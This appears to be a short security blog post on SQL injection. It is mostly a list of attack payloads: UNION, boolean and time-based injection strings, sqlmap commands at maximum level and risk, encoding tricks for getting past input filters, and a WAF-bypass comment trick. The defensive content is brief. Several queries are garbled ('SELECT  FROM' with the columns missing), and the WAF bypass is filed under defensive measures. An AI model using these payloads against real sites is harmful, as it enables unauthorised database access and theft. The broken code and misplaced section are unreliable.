SQL Injection Parameters: A Deep Dive Into Exploitation And Defense

SQL injection (SQLi) remains one of the most critical vulnerabilities in web applications, allowing attackers to manipulate database queries. Below, we explore SQLi parameters, exploitation techniques, and defensive measures.

You Should Know: SQL Injection Exploitation & Defense

1. Basic SQL Injection Payloads

Classic UNION-Based Attack:

' UNION SELECT username, password FROM users--

Boolean-Based Blind SQLi:
```
' OR 1=1-- 
```
Time-Based Blind SQLi:
```
'; IF (1=1) WAITFOR DELAY '0:0:5'-- 
```

2. Automated SQLi Tools

SQLmap (Linux/Windows):

sqlmap -u "http://example.com/page?id=1" --dbs

Exploiting POST Requests:

sqlmap -u "http://example.com/login" --data="username=admin&password=test" --level=5 --risk=3

3. Bypassing Security Filters

Hex Encoding:

SELECT  FROM users WHERE username = 0x61646D696E

Double URL Encoding:
```
%2527%20OR%201%3D1--
```

4. Defensive Measures

Parameterized Queries (Python):

cursor.execute("SELECT  FROM users WHERE username = %s", (user_input,))

Web Application Firewall (WAF) Bypass:
```
/!50000SELECT/  FROM users
```

5. Database-Specific Commands

MySQL:
```
SELECT @@version;
```
PostgreSQL:
```
SELECT version();
```

Microsoft SQL Server:

SELECT SERVERPROPERTY('productversion');

What Undercode Say

SQL injection remains a severe threat due to poor input validation. Attackers leverage UNION-based, blind, and out-of-band techniques to extract data. Defenders must enforce:
– Strict input validation
– Prepared statements
– Least privilege database access
– Regular security audits

Linux Commands for SQLi Testing:

nikto -h http://example.com 
wpscan --url http://example.com --enumerate p

Windows Command for Log Analysis:

findstr /i "sql error" C:\logs\web.log

Prediction

As AI-driven security tools evolve, SQLi attacks will shift towards AI-augmented payload generation, making traditional WAFs less effective. Zero-day SQLi exploits will target NoSQL and GraphQL databases more frequently.
